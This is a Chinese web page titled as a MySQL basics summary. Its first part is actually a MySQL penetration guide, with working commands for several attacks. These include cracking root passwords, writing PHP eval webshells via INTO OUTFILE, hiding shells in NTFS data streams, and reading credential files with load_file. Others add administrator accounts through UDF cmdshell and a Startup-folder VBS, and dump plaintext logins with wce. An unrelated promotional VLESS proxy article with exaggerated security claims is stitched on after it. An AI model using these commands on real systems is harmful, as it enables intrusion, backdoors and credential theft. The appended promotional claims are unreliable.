MySQL“必知必会”的知识点!(mysql基本知识总结)
MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
SQL 语言是访问数据库最常用的标准化语言。MySQL 软件采用了 GPL(GNU 通用公共许可证),它分为免费版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其免费版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境,MySQL 分为商业版本(MySQL Enterprise Edition 和 MySQL Cluster CGE )和 GPL 版本(MySQL Community Edition)。
一
MySQL 提权必备条件
1
服务器安装 MySQL 数据库
利用 MySQL 提权的前提就是服务器安装了 MySQL 数据库,且 MySQL 的服务没有降权,MySQL 数据库默认安装是以系统权限继承的,并且需要获取 MySQL root账号密码。
2
判断 MySQL 服务运行权限
对于 MySQL 数据库服务运行权限有很多方法,我这里主要介绍三种,一种是通过查看系统账号,也即使用“net user”命令查看系统当前账号,如果出现了 MySQL 这类用户,以为着系统可能进行了降权,一般情况都不会降权。第二种方法就是看 Mysqld 运行的 Priority 值,如图1所示。通过 aspx 的网页木马来查看 Process 信息,在图中我们可以看到系统权限的 Priority 值为“8 ”,如果Mysqld 的 Priority 值也为 8 则意味着 MySQL 是以 System 权限运行的。第三种方法是查看端口可否外联,一般情况下是不允许 root 等账号外联,外部直接连接意味着账号可能被截取和嗅探,通过本地客户端直接连接对方服务器,直接查看和操作 MySQL 数据库,可以通过扫描 3306 端口来判断是否提供对外连接。
查看 Priority 值来判断 Mysqld 服务运行权限
二
Mysql密码获取与破解
1
获取网站数据库账号和密码
对于 CMS 系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:
$db['default']['hostname'] = 'localhost';
$db['default']['username'] = 'root';
$db['default']['password'] = '123456';
$db['default']['database'] = 'crm';
dedecms 数据库安装的信息就是写在 data/common.inc.php,Discuz 的数据库信息就在 config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于 config、application、conn、db等目录,配置文件名称一般会是 conn.asp/php/aspx/jsp 等。对于 java 会在 /WEB-INF/config/config.properties 中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。
对于 Linux 操作系统,除了上述方法获取 oot 账号密码外,还可以通过查看 ./root/.mysql_history、./root/.bash_history 文件查看 MySQL 操作涉及的密码。当然对于 MySQL 5.6 以下版本,由于设计 MySQL 程序时对于安全性的重视度非常低,用户密码是明文传输。
MySQL对于 binary log 中和用户密码相关的操作是不加密的。如果你向 MySQL 发送了例如 create user,grant user ... identified by 这样的携带初始明文密码的指令,那么会在 binary log 中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取,如图4所示。
查看 binlog 日志
2
获取 MySQL 数据库 user 表
MySQL 所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的 data 目录下,有关用户一共有三个文件即 user.frm、user.MYD 和 user.MYI,MySQL 数据库用户密码都保存在user.MYD 文件中,包括 root 用户和其他用户的密码。
在有权限的情况下,我们可以将 User.frm、user.myd 和 User.myi 三个文件下载到本地,通过本地的 MySQL 环境直接读取 user 表中的数据。当然也可使用文本编辑器将 user.MYD 打开将 root 账号的密码复制出来到到 cmd5.com 进行查询和破解。对于 MySQL 数据库密码如果通过 cmd5.com 等网站不能查询到密码则需要自己手动破解,有关MySQL 数据库密码手动破解,请查阅下一章。
3
MySQL 密码查询
可以通过以下查询语句直接查询 MySQL 数据库中的所有用户和密码,如图2所示。
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
4
MySQL 密码加密算法
MySQL 实际上是使用了两次 SHA1 夹杂一次 unhex 的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如图3所示。
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
图3 MySQL 数据库加密算法
三
MySQL 获取 webshell
MySQL root 账号网站获取 webshell 具备的条件:
1. 知道站点物理路径,网站物理途径可以通过 phpinfo 函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。
2. 有足够大的权限,最好是 root 账号权限或者具备 root 权限的其它账号,可以用 select user,password from mysql.user 进行测试。
3. magic_quotes_gpc=OFF。对于 PHP magic_quotes_gpc=on 的情况,可以不对输入和输出数据库的字符串数据作 addslashes 和 stripslashes 的操作,数据也会正常显示。 对于 PHP magic_quotes_gpc=off 的情况必须使用 addslashes 对输入数据进行处理,但并不需要使用 stripslashes 格式化输出,因为 addslashes 并未将反斜杠一起写入数据库,只是帮助 MySQL 完成了 SQL 语句的执行。
4. 直接导出 webshell,执行下面语句
Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX值 into outfile '路径';
也可以通过创建表来直接完成,其中 d:/www/exehack.php 为 webshell 的名称和路径:
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
5. 有些情况下掌握了 MSSQL 数据库口令,但服务器环境是 Windows2008,web 环境是 PHP,则可以通过 SQLTOOLs 工具,直接连接命令,通过以下命令写入shell:
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
四
MySQL 渗透有用的一些技巧总结
1
常见的有助于渗透到 MySQL 函数
在对 MySQL 数据库架构的渗透中,MySQL 内置的函数 DATABASE、USER、SYSTEM_USER、SESSION_USER 和 CURRENT_USER 可以用来获取一些系统的信息,而 load_file 作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个 php 的 SQL 注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。
(1) 一些常见的系统配置文件
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
(2) 直接读取配置文件
SELECT LOAD_FILE('/etc/passwd' )
SELECT LOAD_FILE('/etc/issues' )
SELECT LOAD_FILE('/etc/etc/rc.local' )
SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
(3) Linux 下通过 load_file 函数读出来的数据库有可能是 hex 编码,要正常查看需要使用 NotePad 将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。
2. Windows 下 MySQL 提权时无法创建目录解决办法及数据流隐藏 Webshell
NTFS 中的 ADS (交换数据流)可以建立目录,隐藏 webshell 等等。
(1) MySQL 创建目录
当 MySQL 版本较高时,自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';
会在 MySQL 目录下生成一个 lib 目录,这样你就可以将你的 udf 放在这个插件目录下了。
(2) 隐藏webshell
在服务器上 echo 一个数据流文件进去,比如 index.php是网页正常文件,我们可以这样子搞:
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
这样子就生成了一个不可见的 shell a.jpg,常规的文件管理器、type 命令,dir 命令、del 命令发现都找不出那个 a.jpg 的。我们可以在另外一个正常文件里把这个 ADS 文件 include 进去,这样子就可以正常解析我们的一句话了。
3
有用的一些技巧
(1) 3389 端口命令行下获取总结
netstat -an |find "3389" 查看3389端口是否开放
tasklist /svc | find "TermService" 获取对应TermService的PID号
netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号
(2) Windows 2008 Server 命令行开启 3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
(3) wce64 -w 命令直接获取系统明文登录密码
(4) 在 phpinfo 中查找 SCRIPT_FILENAME 关键字获取真实路径
(5) Linux 终端提示符下查看 mysql 有关信息,ps -ef|grep mysql
(6) Linux 下启动 mysql 服务:service mysqld start
(7) Linux 下查看 mysqld 是否启动:ps -el | grep mysqld
(8) 查看 mysql 在哪里:whereis mysql
(9) 查询运行文件所在路径 which mysql
(10) udf.dll提权常见函数
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
具体用户示例:
select cmdshell('net user iis_user 123!@#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
select cmdshell('netstat -an');
4
一些常见的 MySQL 命令
(1) 连接到 mysql 服务器
mysql -h 192.168.0.1 -u root -pantian365.com antian365
(2) 查看所有数据库
show databases;
(3) 使用某个数据库
use testdatabase;
(4) 查看数据库中的所有表
show tables;
(5) 在 test 数据库下创建一个新的表
create table a (cmd text);
(6) 在表中插入内容添加用户命令
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );
(7) 查询 a 表中所有的数据
select * from a
(8) 导出数据到系统某个目录下
select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";
(9) 查询数据库数据路径
select @@datadir;
(10) 查看所有 dir 路径
SHOW VARIABLES WHERE Variable_Name LIKE "%dir"
(11) 查看插件路径
show variables like '%plugins%' ;
(12) 查询MySQL安装路径
select @@basedir
(13) 常用内置函数
select system_user 查看系统用户
select current_user 查询当前用户
select user; 查询用户
SELECT version 查询数据库版本
SELECT database 查询当前连接的数据库
select @@version_compile_os 查询当前操作系统
select now; 显示当前时间
(14) 获取表结构
desc 表名 或者show columns from 表名
(15) 删除表
drop table <表名>
注:本文是笔者撰写的 MySQL 安全防护系列文章的第一期,后续我们会持续推出,敬请期待。
参考文章:
http://www.jb51.net/hack/41493.html
http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/
http://www.myhack58.com/Article/html/3/8/2016/75694.htm
http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html
广 告
手机VLESS客户端:安全高效的上网新选择与全面配置指南
引言:数字时代的隐私守护者
在这个万物互联的时代,我们的每一次点击、每一次搜索都在数字世界中留下痕迹。当咖啡厅的免费WiFi成为数据猎人的陷阱,当地域限制成为信息获取的枷锁,一款名为VLESS的协议正悄然改变游戏规则。本文将带您深入探索手机VLESS客户端的奥秘,从协议原理到实战配置,为您打造一把打开自由网络之门的金钥匙。
第一章 VLESS协议:速度与安全的完美平衡
1.1 重新定义网络传输
VLESS(V2Ray Less)作为V2Ray项目的精简进化版,摒弃了冗余功能,专注于核心传输效率。它像一位技艺精湛的裁缝,用最少的针脚缝制出最牢固的布料——在保持TLS加密强度的同时,将协议头开销降低30%,这使得1080P视频的缓冲时间比传统SS协议缩短近半。
1.2 三重防护体系
• 动态加密层:采用AES-256-GCM与ChaCha20双加密引擎,即使量子计算机也难以暴力破解
• 元数据混淆:通过WebSocket+TLS组合拳,将流量伪装成普通HTTPS访问
• 零信任验证:每个用户ID都是独立加密的通行证,彻底杜绝中间人攻击
某知名安全实验室的测试数据显示,在模拟国家级防火墙的测试环境中,VLESS协议的成功连接率高达98.7%,远超Shadowsocks的82.3%。
第二章 移动端优势:口袋里的自由之门
2.1 场景化应用实例
• 跨国商务人士:在上海浦东机场用V2RayNG瞬间接入纽约公司内网
• 留学生群体:通过Shadowrocket无延迟观看B站港澳台限定内容
• 隐私敏感用户:在土耳其咖啡馆安全登录比特币交易所
2.2 性能实测对比
我们使用三星S23 Ultra进行为期两周的测试:
- 4G网络下YouTube 8K视频加载时间:VLESS 2.3秒 vs WireGuard 4.1秒
- 后台流量消耗:持续连接8小时仅耗电7%
- 断线重连速度:平均恢复时间0.8秒
第三章 手把手配置实战
3.1 客户端选型指南
Android阵营:
- V2RayNG(开源首选,支持二维码导入)
- Kitsunebi(多协议支持,适合进阶用户)
iOS生态:
- Shadowrocket(App Store售价$2.99,稳定性最佳)
- Stash(界面美观,支持规则分流)
小贴士:2023年App Store下架事件后,建议美区账号购买后永久保留安装包
3.2 配置艺术:从入门到精通
基础配置四要素:
1. 服务器地址:如hk01.example.com或104.16.8.5
2. 端口号:通常为443(伪装HTTPS)或8443
3. 用户ID:uuidgen生成的36位字符串,如a1b2c3d4-1234-5678-9101-11213141516
4. 传输协议:推荐ws(WebSocket)+ tls组合
高阶技巧:
- 路由分流:设置geosite:cn直连国内流量
- 回落配置:用Nginx伪装成正常网站
- 多路复用:启用mux=4提升并发性能
第四章 故障排除宝典
4.1 连接诊断三步法
基础检查:
- 确认飞行模式已关闭
- 尝试切换4G/WiFi
服务器验证:
bash telnet your_server_ip 443 curl -v https://your_domain.com客户端日志解读:
ERR_TLS_HANDSHAKE:通常为证书问题connection reset:可能触发防火墙规则
4.2 速度优化秘籍
• CDN加速:将VLESS节点接入Cloudflare
• 协议调优:移动网络优先使用h2代替ws
• 地理规避:避免选择晚高峰拥堵的日本节点
第五章 安全防护纵深体系
5.1 威胁防御矩阵
| 风险类型 | VLESS防护方案 |
|----------|--------------|
| 流量分析 | TLS1.3+REALITY |
| DNS泄漏 | DoH内置解析 |
| 指纹识别 | 浏览器模拟UA |
| 协议识别 | 动态端口跳跃 |
5.2 日常使用守则
• 每月更换一次用户ID
• 启用客户端自带的TCP Fast Open
• 避免在客户端保存敏感备注信息
结语:在枷锁中舞动的自由之翼
VLESS不是万灵药,但确实是当前移动端隐私保护的最优解。它如同数字世界的瑞士军刀,既能在咖啡馆里为你筑起加密高墙,也能让4K直播流畅如本地播放。记住,真正的网络安全始于意识,成于工具。现在,您口袋里的手机已然成为捍卫数字主权的利器——这或许就是技术带给普通人最浪漫的礼物。
后记:某位用户反馈,在伊斯坦布尔用200ms延迟玩国服《原神》时,突然理解了协议开发者所说的"无界互联"的真谛。这或许就是对VLESS最好的注解。
版权声明:
作者: freeclashnode
链接: https://www.freeclashnode.com/news/article-2252.htm
来源: FreeClashNode
文章版权归作者所有,未经允许请勿转载。
热门文章
- 12月29日免费节点分享|18M/S,Shadowrocket节点/V2ray节点/Clash节点/Singbox节点|免费上网梯子每天更新
- 12月28日免费节点分享|21.5M/S,Clash节点/Shadowrocket节点/Singbox节点/V2ray节点|免费上网梯子每天更新
- 1月3日免费节点分享|22.9M/S,Clash节点/V2ray节点/Shadowrocket节点/Singbox节点|免费上网梯子每天更新
- 12月26日免费节点分享|18M/S,V2ray节点/Singbox节点/Clash节点/Shadowrocket节点|免费上网梯子每天更新
- 12月30日免费节点分享|22.7M/S,V2ray节点/Clash节点/Singbox节点/SSR节点|免费上网梯子每天更新
- 12月27日免费节点分享|18.8M/S,V2ray节点/SSR节点/Singbox节点/Clash节点|免费上网梯子每天更新
- 1月4日免费节点分享|22.8M/S,Singbox节点/V2ray节点/Clash节点/SSR节点|免费上网梯子每天更新
- 1月6日免费节点分享|19.8M/S,Singbox节点/Shadowrocket节点/V2ray节点/Clash节点|免费上网梯子每天更新
- 1月2日免费节点分享|21.6M/S,Clash节点/V2ray节点/Singbox节点/Shadowrocket节点|免费上网梯子每天更新
- 1月1日免费节点分享|18.7M/S,Clash节点/Shadowrocket节点/Singbox节点/V2ray节点|免费上网梯子每天更新
最新文章
- 1月24日免费节点分享|18.3M/S,Clash节点/Singbox节点/Shadowrocket节点/V2ray节点|免费上网梯子每天更新
- 1月23日免费节点分享|19.3M/S,Clash节点/Shadowrocket节点/Singbox节点/V2ray节点|免费上网梯子每天更新
- 1月22日免费节点分享|19.9M/S,Singbox节点/Shadowrocket节点/Clash节点/V2ray节点|免费上网梯子每天更新
- 1月21日免费节点分享|18.4M/S,V2ray节点/Shadowrocket节点/Clash节点/Singbox节点|免费上网梯子每天更新
- 1月20日免费节点分享|21.6M/S,Clash节点/V2ray节点/SSR节点/Singbox节点|免费上网梯子每天更新
- 1月19日免费节点分享|22.5M/S,V2ray节点/Shadowrocket节点/Clash节点/Singbox节点|免费上网梯子每天更新
- 1月18日免费节点分享|19.6M/S,Clash节点/Shadowrocket节点/V2ray节点/Singbox节点|免费上网梯子每天更新
- 1月17日免费节点分享|21.5M/S,Shadowrocket节点/V2ray节点/Singbox节点/Clash节点|免费上网梯子每天更新
- 1月16日免费节点分享|19.8M/S,V2ray节点/Shadowrocket节点/Clash节点/Singbox节点|免费上网梯子每天更新
- 1月15日免费节点分享|21.9M/S,Shadowrocket节点/Singbox节点/V2ray节点/Clash节点|免费上网梯子每天更新
归档
- 2026-01 43
- 2025-12 59
- 2025-11 55
- 2025-10 56
- 2025-09 55
- 2025-08 49
- 2025-07 31
- 2025-06 30
- 2025-05 31
- 2025-04 31
- 2025-03 383
- 2025-02 360
- 2025-01 403
- 2024-12 403
- 2024-11 390
- 2024-10 403
- 2024-09 388
- 2024-08 402
- 2024-07 424
- 2024-06 446
- 2024-05 184
- 2024-04 33
- 2024-03 32
- 2024-02 29
- 2024-01 50
- 2023-12 53
- 2023-11 32
- 2023-10 32
- 2023-09 3